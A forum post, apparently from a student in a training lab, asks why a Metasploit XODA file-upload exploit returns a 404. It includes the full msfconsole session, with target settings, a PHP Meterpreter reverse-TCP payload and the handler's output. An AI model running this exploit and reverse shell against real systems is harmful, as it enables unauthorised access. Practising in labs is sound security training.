Hi, I’m having an issue with the XODA file upload lab. I’m using the exact commands from the official solution, but the exploit fails — the server returns a 404 when trying to execute the uploaded PHP payload. My setup: RHOSTS set to demo1.ine.local, TARGETURI set to /, and LHOST set to my eth1 IP. The payload uploads but can’t be found/executed on the target. Has anyone else run into this? Is the lab environment possibly misconfigured?
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/xoda_file_upload) > set RHOSTS demo1.ine.local
RHOSTS => demo1.ine.local
msf6 exploit(unix/webapp/xoda_file_upload) > set TARGETURI /
TARGETURI => /
msf6 exploit(unix/webapp/xoda_file_upload) > set LHOST 192.184.119.2
LHOST => 192.184.119.2
msf6 exploit(unix/webapp/xoda_file_upload) > exploit
[] Started reverse TCP handler on 192.184.119.2:4444
[] Sending PHP payload (ahvezE.php)
[] Executing PHP payload (ahvezE.php)
[] Server returned 404
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/xoda_file_upload) >